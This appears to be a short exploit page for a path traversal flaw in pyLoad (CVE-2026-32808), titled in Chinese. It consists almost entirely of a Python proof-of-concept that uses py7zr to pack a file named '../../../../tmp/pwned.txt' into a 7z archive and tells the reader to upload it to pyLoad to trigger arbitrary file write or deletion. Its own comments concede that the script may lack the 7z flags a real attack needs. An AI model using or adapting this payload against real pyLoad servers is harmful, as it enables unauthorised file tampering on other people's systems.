CVE-2026-32808 pyLoad路径遍历漏洞

import os import py7zr # Requires py7zr library: pip install py7zr # Proof of Concept for CVE-2026-32808 # Description: Creates a 7z archive with a file name containing path traversal sequences. # Note: Real exploitation requires specific 7z flags (encrypt content but not headers) which may # not be directly supported by high-level libraries like py7zr for creation. # This script demonstrates the logic of preparing a malicious file structure. def create_poc(): # The malicious file name intended to escape the extraction directory # Targeting a file outside the web root or system directory traversal_filename = "../../../../tmp/pwned.txt" # Create a dummy file to be archived with open(traversal_filename, "w") as f: f.write("This file demonstrates arbitrary file deletion/write.") # Create the archive with py7zr.SevenZipFile("malicious_poc.7z", "w") as archive: # Archives the file. If pyLoad processes this, it might resolve to /tmp/pwned.txt archive.write(traversal_filename, traversal_filename) print(f"Created malicious_poc.7z with file: {traversal_filename}") print("Upload this file to pyLoad to trigger the vulnerability.") # Cleanup local dummy file if os.path.exists(traversal_filename): os.remove(traversal_filename) if __name__ == "__main__": create_poc()